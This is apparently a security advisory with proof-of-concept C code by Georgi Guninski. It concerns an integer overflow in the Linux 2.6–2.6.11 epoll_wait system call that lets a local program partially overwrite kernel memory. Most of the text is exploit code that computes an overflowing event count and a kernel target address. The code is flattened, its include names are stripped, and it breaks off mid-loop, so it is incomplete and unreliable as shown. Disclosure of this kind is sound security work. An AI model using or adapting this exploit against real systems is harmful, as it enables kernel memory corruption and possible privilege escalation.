it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory due to integer overflow in sys_epoll_wait and misuse of __put_user in ep_send_events tested on i386. despite the overflow, the os seemingly continues normal operation. fix: http://linux.bkbits.net:8080/linux-2.6/cset@422dd06a1p5PsyFhoGAJseinjEq3ew?nav=index.html|ChangeSet@-1d ------------------------------------------------- /* * copyright georgi guninski. * cannot be used in vulnerabilities databases like securityfocus and mitre * */ #include #include #include #include #include #include #include #include #define __KERNEL__ #include #undef __KERNEL__ #define MAXV 500 int main(int argc,char ** argv) { int epfd; int i; int res; struct epoll_event ev; int *fds; int over; void *km; over= ((unsigned int)-1)/sizeof(struct epoll_event)+1; km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4); printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km); epfd = epoll_create(MAXV); printf("Epoll descriptor %i\n",epfd); fds=calloc(2*MAXV,sizeof(int)); for(i=0;i